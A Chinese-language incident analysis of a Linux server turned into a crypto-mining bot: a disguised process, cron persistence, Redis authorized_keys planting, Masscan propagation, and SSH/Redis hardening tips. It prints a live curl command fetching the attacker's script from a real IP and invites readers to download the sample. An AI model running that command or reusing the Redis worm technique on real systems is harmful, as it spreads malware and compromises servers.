记一次Linux被入侵，服务器变“矿机”的全过程

周一早上刚到办公室，就听到同事说有一台服务器登陆不上了，我也没放在心上，继续边吃早点，边看币价是不是又跌了。

不一会运维的同事也到了，气喘吁吁的说：我们有台服务器被阿里云冻结了，理由：对外恶意发包。

我放下酸菜馅的包子，SSH 连了一下，被拒绝了，问了下默认的 22 端口被封了。

让运维的同事把端口改了一下，立马连上去，顺便看了一下登录名 ：root，还有不足 8 位的小白密码，心里一凉：被黑了!

查找线索

服务器系统 centos 6.X，部署了 Nginx，Tomcat，redis 等应用，上来先把数据库全备份到本地，然后 Top 命令看了一下，有 2 个 99% 的同名进程还在运行，叫 gpg-agentd。

google 了一下 GPG，结果是：GPG 提供的 gpg-agent 提供了对 SSH 协议的支持，这个功能可以大大简化密钥的管理工作。

看起来像是一个很正经的程序嘛，但仔细再看看服务器上的进程后面还跟着一个字母 d，伪装的很好，让人想起来 windows 上各种看起来像 svchost.exe 的病毒。

继续排查：

ps eho command -p 23374netstat -pan | grep 23374 

查看 pid：23374 进程启动路径和网络状况，也就是来到了图 1 的目录，到此已经找到了黑客留下的二进制可执行文件。

接下来还有 2 个问题在等着我：

• 文件是怎么上传的?
• 这个文件的目的是什么，或是黑客想干嘛?

History 看一下，记录果然都被清掉了，没留下任何痕迹。继续命令 more messages：

看到了在半夜 12 点左右，在服务器上装了很多软件，其中有几个软件引起了我的注意，下面详细讲。

边找边猜，如果我们要做坏事，大概会在哪里做文章，自动启动?定时启动?对，计划任务：

crontab -e 

果然，线索找到了。

作案动机

上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本，并且执行这个脚本。

我们把脚本下载下来看一下：

curl -fsSL 159.89.190.243/ash.php > ash.sh 

脚本内容如下：

这段脚本的代码比较长，但主要的功能有 4 个：

• 下载远程代码到本地，添加执行权限，chmod u+x。
• 修改 rc.local，让本地代码开机自动执行。
• 下载 Github 上的开源扫描器代码，并安装相关的依赖软件，也就是我上面的 Messages 里看到的记录。
• 下载第三个脚本，并且执行。

我去 Github 上看了下这个开源代码，简直吊炸天：

Transmitting 10 Million Packets Per Second(每秒发送 1000 万个数据包)，比 nmap 速度还要快，这就不难理解为什么阿里云把服务器冻结了。

大概看了下 Readme 之后，我也没有细究，继续下载第三个脚本：

如果说前两个脚本只是在服务器上下载执行了二进制文件，那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。

一开始的修改系统环境没什么好说的，接下来的写文件操作有点眼熟，如果用过 Redis 的人，应该能猜到，这里是对 Redis 进行配置。

写这个配置，自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞，结果就是用本地的私钥去登陆被写入公钥的服务器了，无需密码就可以登陆，也就是我们文章最开始的 /root/.ssh/authorized_keys。

登录之后就开始定期执行计划任务，下载脚本。好了，配置文件准备好了，就开始利用 Masscan 进行全网扫描 Redis 服务器，寻找肉鸡。

注意看这 6379 就是 Redis 服务器的默认端口，如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0，并且没有密码保护，不好意思，你就中招了。

总结

通过依次分析这 3 个脚本，就能看出这个病毒的可怕之处，先是通过写入 ssh public key 拿到登录权限，然后下载执行远程二进制文件，最后再通过 Redis 漏洞复制，迅速在全网传播，以指数级速度增长。

那么问题是，这台服务器是怎么中招的呢?看了下 redis.conf，Bind 的地址是 127.0.0.1，没啥问题。

由此可以推断，应该是 Root 帐号被暴力破解了，为了验证我的想法，我 Lastb 看了一下，果然有大量的记录：

还剩最后一个问题，这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机，因为现在数字货币太火了，加大了分布式矿机的需求，也就催生了这条灰色产业链。

于是，顺手把这个 gpg-agentd 拖到 Ida 中，用 String 搜索 bitcoin，eth，mine 等相关单词，最终发现了这个：

打开 nicehash.com 看一下，一切都清晰了：

安全建议

服务器：

• 禁用 ROOT
• 用户名和密码尽量复杂
• 修改 SSH 的默认 22 端口
• 安装 DenyHosts 防暴力破解软件
• 禁用密码登录，使用 RSA 公钥登录

Redis：

• 禁用公网 IP 监听，包括 0.0.0.0
• 使用密码限制访问 Redis
• 使用较低权限帐号运行 Redis

到此，整个入侵过程基本分析完了，如果大家对样本有兴趣，也可以自行去 Curl，或是去虚拟机执行上面的脚本。鉴于本人能力有限，文中难免会出现疏忽或是错误，还请大家多多指正。